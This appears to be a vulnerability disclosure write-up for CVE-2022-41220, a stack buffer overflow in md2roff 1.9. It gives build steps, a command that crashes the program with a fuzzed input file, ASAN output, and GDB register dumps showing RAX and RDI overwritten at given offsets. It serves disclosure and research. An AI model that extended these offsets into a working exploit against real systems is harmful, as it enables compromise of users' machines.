Proof of concept for CVE-2022-41220# Description of CVE-2022-41220
md2roff 1.9 suffers from a stack-based buffer overflow via a Markdown file containing a large number of consecutive characters to be processed.
# Replication
To replicate the vulnerability, download a vulnerable version of md2roff (version 1.9):
```
git clone https://github.com/nereusx/md2roff.git
cd md2roff
git checkout 9241b8cfeb687c57099f3ef45f03a8ad3f291cf4
make
```
Once the project is compiled, we can process a malicious markdown file produced by our fuzz tests to replicate a program crash:
```
./md2roff poc.md
```
Executing the previous command will produce a segfault:
```
segmentation fault ./md2roff poc.md
```
Compiling the project with address sanitizer (ASAN) confirms our stack buffer overflow:
```
#
# GNU make
#
prefix ?= /usr/local
bindir ?= $(prefix)/bin
mandir ?= $(prefix)/share/man
man1dir ?= $(mandir)/man1
LIBS = -lc
CFLAGS = -std=c99 -fsanitize=address
all: md2roff md2roff.1.gz
md2roff: md2roff.c
$(CC) $(CFLAGS) md2roff.c -o md2roff $(LDFLAGS) $(LIBS)
md2roff.1.gz: md2roff.md md2roff
./md2roff --synopsis-style=1 md2roff.md > md2roff.1
-groff md2roff.1 -Tpdf -man -P -e > md2roff.1.pdf
./md2roff -z --synopsis-style=1 md2roff.md > md2roff.1
gzip -f md2roff.1
install: md2roff md2roff.1.gz
mkdir -p -m 0755 $(DESTDIR)$(bindir) $(DESTDIR)$(man1dir)
install -m 0755 -s md2roff $(DESTDIR)$(bindir)
install -m 0644 md2roff.1.gz $(DESTDIR)$(man1dir)
uninstall:
rm -f $(DESTDIR)$(bindir)/md2roff $(DESTDIR)$(man1dir)/md2roff.1.gz
clean:
rm -f *.o md2roff md2roff.1*
```
```
$ ./md2roff poc.md
=================================================================
==15685==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7ffedb68e230 at pc 0x55ab4ac56d64 bp 0x7ffedb68e020 sp 0x7ffedb68e018
WRITE of size 1 at 0x7ffedb68e230 thread T0
#0 0x55ab4ac56d63 in md2roff (/home/kali/projects/fuzzing/fuzz_targets/md2roff/md2roff+0x10d63)
#1 0x55ab4ac598c0 in main (/home/kali/projects/fuzzing/fuzz_targets/md2roff/md2roff+0x138c0)
#2 0x7f589f446189 in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58
#3 0x7f589f446244 in __libc_start_main_impl ../csu/libc-start.c:381
#4 0x55ab4ac4d3a0 in _start (/home/kali/projects/fuzzing/fuzz_targets/md2roff/md2roff+0x73a0)
Address 0x7ffedb68e230 is located in stack of thread T0 at offset 80 in frame
#0 0x55ab4ac50d7e in md2roff (/home/kali/projects/fuzzing/fuzz_targets/md2roff/md2roff+0xad7e)
This frame has 6 object(s):
[32, 40) 'tt' (line 724)
[64, 80) 'num' (line 1140) <== Memory access at offset 80 overflows this variable
[96, 352) 'secname' (line 662)
[416, 672) 'appname' (line 662)
[736, 992) 'appsec' (line 662)
[1056, 1312) 'appdate' (line 662)
HINT: this may be a false positive if your program uses some custom stack unwind mechanism, swapcontext or vfork
(longjmp and C++ exceptions *are* supported)
SUMMARY: AddressSanitizer: stack-buffer-overflow (/home/kali/projects/fuzzing/fuzz_targets/md2roff/md2roff+0x10d63) in md2roff
Shadow bytes around the buggy address:
0x10005b6c9bf0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x10005b6c9c00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x10005b6c9c10: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x10005b6c9c20: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x10005b6c9c30: 00 00 00 00 00 00 00 00 00 00 00 00 f1 f1 f1 f1
=>0x10005b6c9c40: f8 f2 f2 f2 00 00[f2]f2 00 00 00 00 00 00 00 00
0x10005b6c9c50: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x10005b6c9c60: 00 00 00 00 00 00 00 00 f2 f2 f2 f2 f2 f2 f2 f2
0x10005b6c9c70: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x10005b6c9c80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x10005b6c9c90: f2 f2 f2 f2 f2 f2 f2 f2 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
Shadow gap: cc
==15685==ABORTING
```
# Attaching GDB
If you run the program with gdb, you can see that the registers are being overwritten by our large buffer of characters:
```
pwndbg> r poc.md
Starting program: /dev/shm/CVE-2022-41220/md2roff/md2roff poc.md
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
.\# roff document
.\# DO NOT MODIFY THIS FILE! It was generated by md2roff
.do mso man.tmac
.TH poc.md 7 2023-07-27 document
Gl|||||n
Program received signal SIGSEGV, Segmentation fault.
0x0000555555556d0a in println ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
─────────────────────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]─────────────────────────────────────────────────────────────
*RAX 0x3277413177413077 ('w0Aw1Aw2')
RBX 0x7fffffffddb8 ◂— 0x3072423971423871 ('q8Bq9Br0')
*RCX 0x0
*RDX 0x0
*RDI 0x3277413177413077 ('w0Aw1Aw2')
*RSI 0x2048532e
R8 0x7
R9 0x555555561200 ◂— 0x555555561
*R10 0x7ffff7de10f8 ◂— 0x10001a00001033
*R11 0x7ffff7f1ffe0 (__strchr_avx2) ◂— vmovd xmm0, esi
R12 0x0
R13 0x7fffffffddd0 ◂— 0x3872423772423672 ('r6Br7Br8')
R14 0x55555555edd8 (__do_global_dtors_aux_fini_array_entry) —▸ 0x555555556300 (__do_global_dtors_aux) ◂— endbr64
R15 0x7ffff7ffd020 (_rtld_global) —▸ 0x7ffff7ffe2e0 —▸ 0x555555554000 ◂— 0x10102464c457f
*RBP 0x7fffffffd550 —▸ 0x7fffffffdb60 ◂— 0x3078413977413877 ('w8Aw9Ax0')
*RSP 0x7fffffffd530 —▸ 0x555555561cc0 ◂— 0x7c7c7c7c806c4708
*RIP 0x555555556d0a (println+73) ◂— movzx eax, byte ptr [rax]
──────────────────────────────────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]──────────────────────────────────────────────────────────────────────
► 0x555555556d0a <println+73> movzx eax, byte ptr [rax]
```
At offset 342 the RAX register is overwritten, and at offset 661 the RDI register is overwritten.
# References
* https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-41220
* https://owasp.org/www-community/vulnerabilities/Buffer_Overflow
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